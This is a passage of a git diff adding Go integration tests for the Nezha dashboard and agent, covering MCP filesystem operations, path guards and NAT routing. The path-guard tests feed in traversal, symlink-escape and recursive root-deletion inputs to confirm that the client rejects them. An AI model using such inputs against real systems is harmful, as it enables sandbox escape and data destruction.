applies exact file mode", err == nil && len(tree.StructuredContent.Entries) == 1 && tree.StructuredContent.Entries[0].Name == "text.txt" && tree.StructuredContent.Entries[0].Type == "file" && tree.StructuredContent.Entries[0].Size == int64(len(text)) && tree.StructuredContent.Entries[0].Mode == "0640", errorText(err)) + _, err = filesystem.write(ctx, mcpFilesystemWrite{relative: ".hidden", content: "hidden", encoding: "utf8", mode: "0600"}) + if err != nil { + return err + } + visible, err := filesystem.list(ctx, ".", false) + assertions.Record("fs.list hides dot entries with exact totals", err == nil && visible.StructuredContent.Total == 1 && entryNames(visible.StructuredContent.Entries) == "tree", errorText(err)) + hidden, err := filesystem.list(ctx, ".", true) + assertions.Record("fs.list show_hidden includes exact dot entry", err == nil && hidden.StructuredContent.Total == 2 && entryNames(hidden.StructuredContent.Entries) == ".hidden,tree", errorText(err)) + // Inventory and setup consume the PAT's fixed MCP call budget; rotate before content and CAS checks. + filesystem, err = refreshedMCPFilesystemClient(ctx, dashboardInstance, filesystem) + if err != nil { + return err + } + readText, err := filesystem.read(ctx, "tree/text.txt", 0, int64(len(text)), "utf8") + assertions.Record("fs.read utf8 exact content size SHA and truncation", err == nil && readText.StructuredContent.Content == text && readText.StructuredContent.Encoding == "utf8" && readText.StructuredContent.Size == int64(len(text)) && readText.StructuredContent.SHA256 == textDigest && !readText.StructuredContent.Truncated, errorText(err)) + binary := []byte{0x00, 0x41, 0xff, 0x42} + binaryHash := sha256.Sum256(binary) + binaryDigest := hex.EncodeToString(binaryHash[:]) + _, err = filesystem.write(ctx, mcpFilesystemWrite{relative: "tree/binary.bin", content: base64.StdEncoding.EncodeToString(binary), encoding: "base64", mode: "0600"}) + if err != nil { + return err + } + readBinary, err := filesystem.read(ctx, "tree/binary.bin", 0, int64(len(binary)), "base64") + assertions.Record("fs.read base64 exact content size and SHA", err == nil && readBinary.StructuredContent.Content == base64.StdEncoding.EncodeToString(binary) && readBinary.StructuredContent.Encoding == "base64" && readBinary.StructuredContent.Size == int64(len(binary)) && readBinary.StructuredContent.SHA256 == binaryDigest, errorText(err)) + updated := "CAS updated payload" + updatedHash := sha256.Sum256([]byte(updated)) + updatedDigest := hex.EncodeToString(updatedHash[:]) + cas, err := filesystem.write(ctx, mcpFilesystemWrite{relative: "tree/text.txt", content: updated, encoding: "utf8", mode: "0640", ifMatchSHA256: textDigest}) + assertions.Record("fs.write CAS success exact size and SHA", err == nil && cas.StructuredContent.Size == int64(len(updated)) && cas.StructuredContent.SHA256 == updatedDigest, errorText(err)) + _, casErr := filesystem.write(ctx, mcpFilesystemWrite{relative: "tree/text.txt", content: "must-not-land", encoding: "utf8", mode: "0640", ifMatchSHA256: textDigest}) + unchanged, readErr := filesystem.read(ctx, "tree/text.txt", 0, int64(len(updated)), "utf8") + assertions.Record("fs.write CAS mismatch is typed and leaves content unchanged", toolFailureContains(casErr, "if_match precondition failed") && readErr == nil && unchanged.StructuredContent.Content == updated && unchanged.StructuredContent.SHA256 == updatedDigest, errorText(errors.Join(casErr, readErr))) + permissionDirectory, pathErr := filesystem.root.Path("permission-denied") + if pathErr != nil { + return pathErr + } + if err := os.Mkdir(permissionDirectory.String(), 0o500); err != nil { + return err + } + permissionResponse, permissionErr := permission.filesystem.write(ctx, mcpFilesystemWrite{relative: "permission-denied/file.txt", content: "denied", encoding: "utf8", mode: "0600"}) + permissionDeniedObserved := permissionErr == nil && permissionResponse.StructuredContent.Error == "permission denied" + assertions.Record("fs.write Agent filesystem permission denial is typed", permission.processContract && permissionDeniedObserved, fmt.Sprintf("%s; uid=%d gid=%d process_contract=%t", permissionResponse.StructuredContent.Error, permission.uid, permission.gid, permission.processContract)) + if err := os.Remove(permissionDirectory.String()); err != nil { + return err + } + filesystem, err = refreshedMCPFilesystemClient(ctx, dashboardInstance, filesystem) + if err != nil { + return err + } + _, missingErr := filesystem.read(ctx, "tree/missing.txt", 0, 1, "utf8") + assertions.Record("fs.read nonexistent path is typed", toolFailureContains(missingErr, "does not exist"), errorText(missingErr)) + _, encodingErr := filesystem.read(ctx, "tree/text.txt", 0, 1, "rot13") + assertions.Record("fs.read invalid encoding is typed", toolFailureContains(encodingErr, "unknown encoding"), errorText(encodingErr)) + _, writeEncodingErr := filesystem.write(ctx, mcpFilesystemWrite{relative: "tree/invalid-encoding.txt", content: "x", encoding: "rot13", mode: "0600"}) + assertions.Record("fs.write invalid encoding is typed", toolFailureContains(writeEncodingErr, "unknown encoding"), errorText(writeEncodingErr)) + _, modeErr := filesystem.write(ctx, mcpFilesystemWrite{relative: "tree/invalid-mode.txt", content: "x", encoding: "utf8", mode: "invalid"}) + assertions.Record("fs.write invalid mode is typed", toolFailureContains(modeErr, "invalid mode"), errorText(modeErr)) + filesystem, err = refreshedMCPFilesystemClient(ctx, dashboardInstance, filesystem) + if err != nil { + return err + } + oversize, oversizeErr := client.DoREST[agentcompatFsWriteContractRequest, agentcompatFsWriteContractResponse](ctx, filesystem.client, client.RESTRequest[agentcompatFsWriteContractRequest]{Method: http.MethodPost, Path: "/agentcompat/fs-write-contract", Body: &agentcompatFsWriteContractRequest{ServerID: filesystem.serverID, Operation: agentcompatFsWriteOperationOversize}}) + oversizeHandlerObserved := oversize.AgentRPCResponse + productionMaxWriteCheck := oversizeErr == nil && oversize.Result.Error == "content exceeds max write size" + assertions.Record("fs.write Agent oversize contract is typed", oversizeHandlerObserved && productionMaxWriteCheck, fmt.Sprintf("%s; agent_handler=%t production_max_write_check=%t; agent_rpc_response=%t", oversize.Result.Error, oversizeHandlerObserved, productionMaxWriteCheck, oversize.AgentRPCResponse)) + _, nonrecursiveErr := filesystem.delete(ctx, "tree", false) + assertions.Record("fs.delete nonrecursive rejects nonempty directory", toolFailureContains(nonrecursiveErr, "internal agent error"), errorText(nonrecursiveErr)) + deleted, err := filesystem.delete(ctx, "tree", true) + assertions.Record("fs.delete recursive returns exact positive count", err == nil && deleted.StructuredContent.DeletedCount == 3, errorText(err)) + final, err := filesystem.list(ctx, ".", true) + assertions.Record("fs.list final absence after recursive delete", err == nil && final.StructuredContent.Total == 1 && entryNames(final.StructuredContent.Entries) == ".hidden", errorText(err)) + _, err = filesystem.delete(ctx, ".hidden", false) + if err != nil { + return err + } + empty, err := filesystem.list(ctx, ".", true) + assertions.Record("fs.list final fixture root is empty", err == nil && empty.StructuredContent.Total == 0 && len(empty.StructuredContent.Entries) == 0, errorText(err)) + return err +} + +type agentcompatFsWriteOperation string + +const ( + agentcompatFsWriteOperationOversize agentcompatFsWriteOperation = "oversize" +) + +type agentcompatFsWriteContractRequest struct { + ServerID uint64 `json:"server_id"` + Operation agentcompatFsWriteOperation `json:"operation"` +} + +type agentcompatFsWriteContractResponse struct { + Result client.FsWriteResult `json:"result"` + AgentRPCResponse bool `json:"agent_rpc_response"` +} + +func refreshedMCPFilesystemClient(ctx context.Context, dashboardInstance *dashboard.Dashboard, filesystem mcpFilesystemClient) (mcpFilesystemClient, error) { + mcpClient, err := createScopedClient(ctx, dashboardInstance, []string{"nezha:*"}) + if err != nil { + return mcpFilesystemClient{}, err + } + return newMCPFilesystemClient(mcpClient, filesystem.serverID, filesystem.root), nil +} + +func entryNames(entries []client.FsEntry) string { + names := make([]string, 0, len(entries)) + for _, entry := range entries { + names = append(names, entry.Name) + } + slices.Sort(names) + return strings.Join(names, ",") +} + +func toolFailureContains(err error, text string) bool { + var failure *client.ToolFailure + return errors.As(err, &failure) && strings.Contains(failure.Message, text) +} diff --git a/integration/agentcompat/internal/scenario/mcp_filesystem_safety.go b/integration/agentcompat/internal/scenario/mcp_filesystem_safety.go new file mode 100644 index 00000000..70f20b09 --- /dev/null +++ b/integration/agentcompat/internal/scenario/mcp_filesystem_safety.go @@ -0,0 +1,102 @@ +//go:build linux + +package scenario + +import ( + "context" + "crypto/sha256" + "errors" + "fmt" + "os" + "path/filepath" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +func verifyMCPFilesystemPathGuards(ctx context.Context, assertions *AssertionSet, filesystem mcpFilesystemClient, fixtureParent string) error { + directTarget := filepath.Join(fixtureParent, "outside-sentinel") + symlinkParentTarget := filepath.Join(fixtureParent, "outside-directory", "parent-target.txt") + symlinkFinalTarget := filepath.Join(fixtureParent, "final-target.txt") + if err := os.Mkdir(filepath.Dir(symlinkParentTarget), 0o700); err != nil { + return err + } + for _, target := range []string{directTarget, symlinkParentTarget, symlinkFinalTarget} { + if err := os.WriteFile(target, []byte("unchanged:"+filepath.Base(target)), 0o600); err != nil { + return err + } + } + if err := os.Symlink(filepath.Dir(symlinkParentTarget), filepath.Join(filesystem.root.Absolute(), "linked-parent")); err != nil { + return err + } + if err := os.Symlink(symlinkFinalTarget, filepath.Join(filesystem.root.Absolute(), "linked-final")); err != nil { + return err + } + root, err := os.OpenRoot(fixtureParent) + if err != nil { + return err + } + defer root.Close() + targetNames := []string{"outside-sentinel", "outside-directory/parent-target.txt", "final-target.txt"} + before, err := filesystemTargetHashes(root, targetNames...) + if err != nil { + return err + } + + requestsBefore := filesystem.client.RequestCount() + rejections := []struct { + want fixture.PathRejectionReason + run func() error + }{ + {fixture.PathRejectionAbsolute, func() error { _, err := filesystem.read(ctx, directTarget, 0, 1, "utf8"); return err }}, + {fixture.PathRejectionParent, func() error { + _, err := filesystem.write(ctx, mcpFilesystemWrite{relative: "../outside-sentinel", content: "changed", encoding: "utf8", mode: "0600"}) + return err + }}, + {fixture.PathRejectionVolume, func() error { _, err := filesystem.list(ctx, `C:\outside.txt`, false); return err }}, + {fixture.PathRejectionSeparator, func() error { _, err := filesystem.read(ctx, `inside\outside.txt`, 0, 1, "utf8"); return err }}, + {fixture.PathRejectionDestructiveRoot, func() error { _, err := filesystem.delete(ctx, ".", true); return err }}, + {fixture.PathRejectionSymlinkParent, func() error { + _, err := filesystem.write(ctx, mcpFilesystemWrite{relative: "linked-parent/parent-target.txt", content: "changed", encoding: "utf8", mode: "0600"}) + return err + }}, + {fixture.PathRejectionSymlinkFinal, func() error { _, err := filesystem.delete(ctx, "linked-final", false); return err }}, + } + matched := 0 + for _, rejection := range rejections { + var pathError *fixture.AgentPathError + if errors.As(rejection.run(), &pathError) && pathError.Reason == rejection.want { + matched++ + } + } + requestsAfter := filesystem.client.RequestCount() + dispatched := int64(requestsAfter) - int64(requestsBefore) + after, err := filesystemTargetHashes(root, targetNames...) + if err != nil { + return err + } + if err := errors.Join( + os.Remove(filepath.Join(filesystem.root.Absolute(), "linked-parent")), + os.Remove(filepath.Join(filesystem.root.Absolute(), "linked-final")), + ); err != nil { + return err + } + assertions.Record("fixture path rejections dispatch zero MCP HTTP requests", matched == len(rejections) && dispatched == 0, fmt.Sprintf("path_rejections_dispatched: %d; matched=%d total=%d requests_before=%d requests_after=%d", dispatched, matched, len(rejections), requestsBefore, requestsAfter)) + assertions.Record("fixture path rejections leave outside and symlink targets unchanged", before == after, fmt.Sprintf("before=%x after=%x", before, after)) + return nil +} + +func filesystemTargetHashes(root *os.Root, names ...string) ([32]byte, error) { + hash := sha256.New() + for _, name := range names { + content, err := root.ReadFile(name) + if err != nil { + return [32]byte{}, err + } + if _, err := hash.Write(content); err != nil { + return [32]byte{}, err + } + } + var digest [32]byte + copy(digest[:], hash.Sum(nil)) + return digest, nil +} diff --git a/integration/agentcompat/internal/scenario/mcp_filesystem_test.go b/integration/agentcompat/internal/scenario/mcp_filesystem_test.go new file mode 100644 index 00000000..9d6ce5d5 --- /dev/null +++ b/integration/agentcompat/internal/scenario/mcp_filesystem_test.go @@ -0,0 +1,263 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "sync/atomic" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +func TestMCPFilesystemScenario_RealFlow(t *testing.T) { + nezhaSource := os.Getenv("AGENTCOMPAT_NEZHA_SOURCE") + agentSource := os.Getenv("AGENTCOMPAT_AGENT_SOURCE") + if nezhaSource == "" || agentSource == "" { + t.Skip("set AGENTCOMPAT_NEZHA_SOURCE and AGENTCOMPAT_AGENT_SOURCE") + } + paths, err := contract.NewPaths(nezhaSource, agentSource, t.TempDir()) + require.NoError(t, err) + + result, err := (MCPFilesystem{}).Run(t.Context(), MCPFilesystemInput{Paths: paths}) + + for _, assertion := range result.Assertions { + t.Logf("assertion=%q passed=%t details=%q", assertion.Name, assertion.Passed, assertion.Details) + } + require.NoError(t, err) + require.True(t, result.Passed) + require.True(t, result.CleanupOK) + requireScenarioAssertions(t, result, + "fixture path rejections dispatch zero MCP HTTP requests", + "fixture path rejections leave outside and symlink targets unchanged", + "fs.write Agent filesystem permission denial is typed", + "fs.write Agent oversize contract is typed", + ) + requireScenarioAssertionDetails(t, result, map[string]string{ + "fixture path rejections dispatch zero MCP HTTP requests": "path_rejections_dispatched: 0", + "fs.write Agent filesystem permission denial is typed": "uid=65534 gid=65534 agent_handler=true", + "fs.write Agent oversize contract is typed": "agent_handler=true production_max_write_check=true", + }) + requireScenarioAssertionDetails(t, result, map[string]string{ + "fs.write Agent filesystem permission denial is typed": "process_contract=true agent_rpc_response=true", + "fs.write Agent oversize contract is typed": "agent_rpc_response=true", + }) +} + +func requireScenarioAssertions(t *testing.T, result Result, names ...string) { + t.Helper() + assertions := make(map[string]bool, len(result.Assertions)) + for _, assertion := range result.Assertions { + assertions[assertion.Name] = assertion.Passed + } + for _, name := range names { + require.Truef(t, assertions[name], "required passing assertion %q is absent", name) + } +} + +func requireScenarioAssertionDetails(t *testing.T, result Result, expected map[string]string) { + t.Helper() + details := make(map[string]string, len(result.Assertions)) + for _, assertion := range result.Assertions { + details[assertion.Name] = assertion.Details + } + for name, exact := range expected { + require.Containsf(t, details[name], exact, "assertion %q lacks required computed evidence", name) + } +} + +func TestMCPFilesystemClient_RejectsUnsafeFixturePathsBeforeDispatch(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + reason fixture.PathRejectionReason + configure func(t *testing.T, root fixture.AgentRoot) (string, string) + invoke func(context.Context, mcpFilesystemClient, string) error + }{ + { + name: "absolute", + reason: fixture.PathRejectionAbsolute, + configure: func(t *testing.T, _ fixture.AgentRoot) (string, string) { + return filepath.Join(t.TempDir(), "outside"), "" + }, + invoke: func(ctx context.Context, filesystem mcpFilesystemClient, candidate string) error { + _, err := filesystem.read(ctx, candidate, 0, 1, "utf8") + return err + }, + }, + { + name: "parent", + reason: fixture.PathRejectionParent, + configure: func(*testing.T, fixture.AgentRoot) (string, string) { + return "../outside", "" + }, + invoke: func(ctx context.Context, filesystem mcpFilesystemClient, candidate string) error { + _, err := filesystem.write(ctx, mcpFilesystemWrite{relative: candidate, content: "changed", encoding: "utf8", mode: "0600", createDirs: true}) + return err + }, + }, + { + name: "volume", + reason: fixture.PathRejectionVolume, + configure: func(*testing.T, fixture.AgentRoot) (string, string) { + return `C:\outside.txt`, "" + }, + invoke: func(ctx context.Context, filesystem mcpFilesystemClient, candidate string) error { + _, err := filesystem.list(ctx, candidate, false) + return err + }, + }, + { + name: "separator", + reason: fixture.PathRejectionSeparator, + configure: func(*testing.T, fixture.AgentRoot) (string, string) { + return `inside\outside.txt`, "" + }, + invoke: func(ctx context.Context, filesystem mcpFilesystemClient, candidate string) error { + _, err := filesystem.read(ctx, candidate, 0, 1, "base64") + return err + }, + }, + { + name: "destructive root", + reason: fixture.PathRejectionDestructiveRoot, + configure: func(*testing.T, fixture.AgentRoot) (string, string) { + return ".", "" + }, + invoke: func(ctx context.Context, filesystem mcpFilesystemClient, candidate string) error { + _, err := filesystem.delete(ctx, candidate, true) + return err + }, + }, + { + name: "symlink parent", + reason: fixture.PathRejectionSymlinkParent, + configure: func(t *testing.T, root fixture.AgentRoot) (string, string) { + outside := t.TempDir() + target := filepath.Join(outside, "file.txt") + require.NoError(t, os.WriteFile(target, []byte("unchanged"), 0o600)) + require.NoError(t, os.Symlink(outside, filepath.Join(root.Absolute(), "linked"))) + return "linked/file.txt", target + }, + invoke: func(ctx context.Context, filesystem mcpFilesystemClient, candidate string) error { + _, err := filesystem.write(ctx, mcpFilesystemWrite{relative: candidate, content: "changed", encoding: "utf8", mode: "0600", createDirs: true}) + return err + }, + }, + { + name: "symlink final", + reason: fixture.PathRejectionSymlinkFinal, + configure: func(t *testing.T, root fixture.AgentRoot) (string, string) { + target := filepath.Join(t.TempDir(), "outside") + require.NoError(t, os.WriteFile(target, []byte("unchanged"), 0o600)) + require.NoError(t, os.Symlink(target, filepath.Join(root.Absolute(), "linked.txt"))) + return "linked.txt", target + }, + invoke: func(ctx context.Context, filesystem mcpFilesystemClient, candidate string) error { + _, err := filesystem.delete(ctx, candidate, false) + return err + }, + }, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + t.Parallel() + + var requests atomic.Int32 + server := httptest.NewServer(http.HandlerFunc(func(http.ResponseWriter, *http.Request) { + requests.Add(1) + })) + t.Cleanup(server.Close) + mcpClient, err := client.New(client.Config{BaseURL: server.URL, RequestTimeout: time.Second}) + require.NoError(t, err) + parent := t.TempDir() + sentinel := filepath.Join(parent, "outside-sentinel") + require.NoError(t, os.WriteFile(sentinel, []byte("unchanged"), 0o600)) + root, err := fixture.NewAgentRoot(parent, "mcp-filesystem") + require.NoError(t, err) + filesystem := newMCPFilesystemClient(mcpClient, 7, root) + candidate, symlinkTarget := test.configure(t, root) + + err = test.invoke(t.Context(), filesystem, candidate) + + var pathError *fixture.AgentPathError + require.ErrorAs(t, err, &pathError) + require.Equal(t, test.reason, pathError.Reason) + require.Zero(t, requests.Load()) + content, readErr := os.ReadFile(sentinel) + require.NoError(t, readErr) + require.Equal(t, "unchanged", string(content)) + if symlinkTarget != "" { + content, readErr = os.ReadFile(symlinkTarget) + require.NoError(t, readErr) + require.Equal(t, "unchanged", string(content)) + } + }) + } +} + +func TestMCPFilesystemClient_UsesAgentPathForExactToolArguments(t *testing.T) { + t.Parallel() + + requests := make(chan testFilesystemToolCall, 1) + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + call, err := decodeTestFilesystemToolCall(request.Body) + require.NoError(t, err) + requests <- call + writer.Header().Set("Content-Type", "application/json") + _, err = writer.Write([]byte(`{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"ok"}],"structuredContent":{"size":7,"sha256":"239f59ed55e737c77147cf55ad0c1b030b6d7ee748a7426952f9b852d5a935e5"}}}`)) + require.NoError(t, err) + })) + t.Cleanup(server.Close) + mcpClient, err := client.New(client.Config{BaseURL: server.URL, RequestTimeout: time.Second}) + require.NoError(t, err) + root, err := fixture.NewAgentRoot(t.TempDir(), "mcp-filesystem") + require.NoError(t, err) + filesystem := newMCPFilesystemClient(mcpClient, 17, root) + + result, err := filesystem.write(t.Context(), mcpFilesystemWrite{relative: "nested/payload.txt", content: "payload", encoding: "utf8", mode: "0640", createDirs: true}) + + require.NoError(t, err) + require.Equal(t, int64(7), result.StructuredContent.Size) + require.Equal(t, "239f59ed55e737c77147cf55ad0c1b030b6d7ee748a7426952f9b852d5a935e5", result.StructuredContent.SHA256) + call := <-requests + require.Equal(t, "fs.write", call.Name) + require.Equal(t, uint64(17), call.Arguments.ServerID) + require.True(t, filepath.IsAbs(call.Arguments.Path)) + require.Equal(t, filepath.Join(root.Absolute(), "nested", "payload.txt"), call.Arguments.Path) + require.Equal(t, "payload", call.Arguments.Content) + require.Equal(t, "utf8", call.Arguments.Encoding) + require.Equal(t, "0640", call.Arguments.Mode) + require.True(t, call.Arguments.CreateDirs) +} + +type testFilesystemToolCall struct { + Name string + Arguments client.FsWriteArguments +} + +func decodeTestFilesystemToolCall(body io.Reader) (testFilesystemToolCall, error) { + var envelope struct { + Params struct { + Name string `json:"name"` + Arguments client.FsWriteArguments `json:"arguments"` + } `json:"params"` + } + if err := json.NewDecoder(body).Decode(&envelope); err != nil { + return testFilesystemToolCall{}, err + } + return testFilesystemToolCall{Name: envelope.Params.Name, Arguments: envelope.Params.Arguments}, nil +} diff --git a/integration/agentcompat/internal/scenario/nat.go b/integration/agentcompat/internal/scenario/nat.go new file mode 100644 index 00000000..c19f48e7 --- /dev/null +++ b/integration/agentcompat/internal/scenario/nat.go @@ -0,0 +1,211 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "io" + "net/http" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +type NATInput struct { + Paths contract.Paths + Fault contract.Fault +} + +type NAT struct{} + +type natForm struct { + Name string `json:"name"` + Enabled bool `json:"enabled"` + ServerID uint64 `json:"server_id"` + Host string `json:"host"` + Domain string `json:"domain"` +} + +type natServerListRequest struct { + OnlineOnly bool `json:"online_only"` +} + +type natServerListResponse struct { + Servers []struct { + ID uint64 `json:"id"` + UUID string `json:"uuid"` + Online bool `json:"online"` + } `json:"servers"` +} + +type natIDResponse uint64 + +const natTestDomain = "agentcompat-nat.invalid" +const natHalfCloseTestDomain = "half-close.agentcompat-nat.invalid" + +func (NAT) Run(ctx context.Context, input NATInput) (result Result, runErr error) { + assertions := NewAssertionSet() + dashboardInstance, err := dashboard.Start(ctx, dashboard.StartConfig{SourceDir: input.Paths.NezhaSource().String(), ReceiptGate: true}) + if err != nil { + return Result{Name: "nat", Assertions: assertions.Results(), Error: errorText(err)}, err + } + var ordinaryBackend *fixture.NATEchoBackend + var halfCloseBackend *fixture.NATEchoBackend + var agentInstance *agent.Agent + defer func() { + cleanupContext, cancelCleanup := context.WithTimeout(context.Background(), 30*time.Second) + defer cancelCleanup() + var cleanupErr error + if agentInstance != nil { + cleanupErr = errors.Join(cleanupErr, agentInstance.Stop(cleanupContext)) + } + if ordinaryBackend != nil { + cleanupErr = errors.Join(cleanupErr, ordinaryBackend.Close()) + } + if halfCloseBackend != nil { + cleanupErr = errors.Join(cleanupErr, halfCloseBackend.Close()) + } + cleanupErr = errors.Join(cleanupErr, dashboardInstance.Stop(cleanupContext)) + agentCleanupPassed := agentInstance == nil || agentInstance.CleanupReceipt().Passed + result.CleanupOK = cleanupErr == nil && agentCleanupPassed && dashboardInstance.CleanupReceipt().Passed + if cleanupErr != nil && runErr == nil { + runErr = cleanupErr + result.Passed = false + result.Error = errorText(cleanupErr) + } + }() + ordinaryBackend, err = fixture.StartNATEchoBackend() + if err != nil { + return finishNAT(assertions, err) + } + halfCloseBackend, err = fixture.StartNATResponseHalfCloseEchoBackend() + if err != nil { + return finishNAT(assertions, err) + } + agentInstance, err = agent.Start(ctx, agent.AgentStartConfig{SourceDir: input.Paths.AgentSource().String(), Endpoint: dashboardInstance.Endpoint(), Secret: dashboardInstance.AgentSecret(), UUID: "00000000-0000-0000-0000-000000000114"}) + if err != nil { + return finishNAT(assertions, err) + } + if err := dashboardInstance.WaitForReceiptAccepted(ctx); err != nil { + return finishNAT(assertions, err) + } + if err := dashboardInstance.ReleaseReceipt(ctx); err != nil { + return finishNAT(assertions, err) + } + if _, err := agentInstance.WaitReady(ctx, dashboardInstance); err != nil { + return finishNAT(assertions, err) + } + serverID, err := natPrimaryServerID(ctx, dashboardInstance, agentInstance.UUID()) + if err != nil { + return finishNAT(assertions, err) + } + admin := dashboardInstance.Clients().REST + created, err := client.DoREST[natForm, natIDResponse](ctx, admin, client.RESTRequest[natForm]{Method: http.MethodPost, Path: "/api/v1/nat", Body: &natForm{Name: "agentcompat-nat", Enabled: true, ServerID: serverID, Host: ordinaryBackend.Address(), Domain: natTestDomain}}) + if err != nil { + return finishNAT(assertions, err) + } + profileID := uint64(created) + ordinaryRequest := natHTTPRequestSpec{Endpoint: dashboardInstance.Endpoint(), Host: natTestDomain, Method: "PATCH", Path: "/nat?case=ordinary", Body: "ordinary"} + response, responseRecord, err := natHTTPRoundTrip(ctx, ordinaryRequest) + connectionErr := ordinaryBackend.WaitConnection(ctx) + if err == nil { + err = connectionErr + } + record, recordErr := ordinaryBackend.WaitRequest(ctx) + if err == nil { + err = recordErr + } + assertions.Record("enabled profile traverses exact HTTP request and response", err == nil && response.Status == http.StatusOK && response.PeerWriteClosed && response.LegacyCloseMarker == io.EOF.Error() && response.Body == natExpectedBody(ordinaryRequest) && natExactRequestObserved(ordinaryRequest, responseRecord, record), errorText(err)) + if err != nil { + return finishNAT(assertions, err) + } + halfCloseProfile, err := client.DoREST[natForm, natIDResponse](ctx, admin, client.RESTRequest[natForm]{Method: http.MethodPost, Path: "/api/v1/nat", Body: &natForm{Name: "agentcompat-nat-half-close", Enabled: true, ServerID: serverID, Host: halfCloseBackend.Address(), Domain: natHalfCloseTestDomain}}) + if err != nil { + return finishNAT(assertions, err) + } + // The fixture half-closes its response after writing it. Requiring a client + // request half-close would deadlock HTTP handling because Dashboard keeps the + // request side open while waiting for the backend response. + halfCloseRequest := natHTTPRequestSpec{Endpoint: dashboardInstance.Endpoint(), Host: natHalfCloseTestDomain, Method: "POST", Path: "/nat?case=half-close", Body: "half-closed"} + halfCloseResponse, halfCloseResponseRecord, err := natHTTPRoundTrip(ctx, halfCloseRequest) + halfCloseConnectionErr := halfCloseBackend.WaitConnection(ctx) + if err == nil { + err = halfCloseConnectionErr + } + halfCloseRecord, halfCloseRecordErr := halfCloseBackend.WaitRequest(ctx) + if err == nil { + err = halfCloseRecordErr + } + assertions.Record("backend half-close traverses response and exact request", err == nil && halfCloseResponse.Status == http.StatusOK && halfCloseResponse.PeerWriteClosed && halfCloseResponse.LegacyCloseMarker == io.EOF.Error() && halfCloseResponse.Body == natExpectedBody(halfCloseRequest) && natExactRequestObserved(halfCloseRequest, halfCloseResponseRecord, halfCloseRecord) && halfCloseRecord.ResponseHalfClosed, errorText(err)) + if err != nil { + return finishNAT(assertions, err) + } + if _, err := client.DoREST[[]uint64, struct{}](ctx, admin, client.RESTRequest[[]uint64]{Method: http.MethodPost, Path: "/api/v1/batch-delete/nat", Body: &[]uint64{uint64(halfCloseProfile)}}); err != nil { + return finishNAT(assertions, err) + } + limited, err := createScopedClient(ctx, dashboardInstance, []string{"nezha:server:read"}) + if err != nil { + return finishNAT(assertions, err) + } + _, unauthorizedErr := client.DoREST[natForm, natIDResponse](ctx, limited, client.RESTRequest[natForm]{Method: http.MethodPost, Path: "/api/v1/nat", Body: &natForm{Name: "unauthorized", Enabled: true, ServerID: serverID, Host: ordinaryBackend.Address(), Domain: "unauthorized." + natTestDomain}}) + assertions.Record("unauthorized NAT profile is rejected", isForbidden(unauthorizedErr), errorText(unauthorizedErr)) + disabled, err := client.DoREST[natForm, natIDResponse](ctx, admin, client.RESTRequest[natForm]{Method: http.MethodPost, Path: "/api/v1/nat", Body: &natForm{Name: "disabled", Enabled: false, ServerID: serverID, Host: ordinaryBackend.Address(), Domain: "disabled." + natTestDomain}}) + if err != nil { + return finishNAT(assertions, err) + } + disabledResponse, err := natHTTPStatus(ctx, dashboardInstance.Endpoint(), "disabled."+natTestDomain) + disabledRouteErr := natAssertNoBackendConnection(ctx, ordinaryBackend) + assertions.Record("disabled NAT profile is blocked", err == nil && disabledRouteErr == nil && disabledResponse.Status == http.StatusForbidden, errorText(errors.Join(err, disabledRouteErr))) + if _, err := client.DoREST[[]uint64, struct{}](ctx, admin, client.RESTRequest[[]uint64]{Method: http.MethodPost, Path: "/api/v1/batch-delete/nat", Body: &[]uint64{uint64(disabled)}}); err != nil { + return finishNAT(assertions, err) + } + if _, err := client.DoREST[[]uint64, struct{}](ctx, admin, client.RESTRequest[[]uint64]{Method: http.MethodPost, Path: "/api/v1/batch-delete/nat", Body: &[]uint64{profileID}}); err != nil { + return finishNAT(assertions, err) + } + deletedResponse, err := natHTTPStatus(ctx, dashboardInstance.Endpoint(), natTestDomain) + deletedRouteErr := natAssertNoBackendConnection(ctx, ordinaryBackend) + assertions.Record("deleted NAT profile no longer routes", err == nil && natDeletedRouteObserved(deletedResponse, deletedRouteErr, natHTTPRequestSpec{Host: natTestDomain, Method: http.MethodGet, Path: "/"}), errorText(errors.Join(err, deletedRouteErr))) + return finishNAT(assertions, nil) +} + +func natExactRequestObserved(request natHTTPRequestSpec, responseRecord, backendRecord fixture.NATEchoRecord) bool { + for _, record := range []fixture.NATEchoRecord{responseRecord, backendRecord} { + if record.Method != request.Method || record.Path != request.Path || record.Host != request.Host || record.HeaderValue != natEchoHeaderValue || string(record.Body) != request.Body { + return false + } + } + return true +} + +func natDeletedRouteObserved(response natRawResponse, routeErr error, request natHTTPRequestSpec) bool { + return routeErr == nil && response.Status == http.StatusOK && response.Body != "" && response.Body != natExpectedBody(request) +} + +func finishNAT(assertions *AssertionSet, runErr error) (Result, error) { + for _, assertion := range assertions.Results() { + if !assertion.Passed && runErr == nil { + runErr = fmt.Errorf("%s: %s", assertion.Name, assertion.Details) + } + } + result := Result{Name: "nat", Passed: runErr == nil, Assertions: assertions.Results(), Error: errorText(runErr), CleanupOK: false} + return result, runErr +} + +func natPrimaryServerID(ctx context.Context, dashboardInstance *dashboard.Dashboard, uuid string) (uint64, error) { + response, err := client.CallTool[natServerListRequest, natServerListResponse](ctx, dashboardInstance.Clients().MCP, client.ToolCall[natServerListRequest]{Name: "server.list", Arguments: natServerListRequest{OnlineOnly: true}}) + if err != nil { + return 0, err + } + for _, server := range response.StructuredContent.Servers { + if server.UUID == uuid && server.Online { + return server.ID, nil + } + } + return 0, errors.New("primary agent is not online") +} diff --git 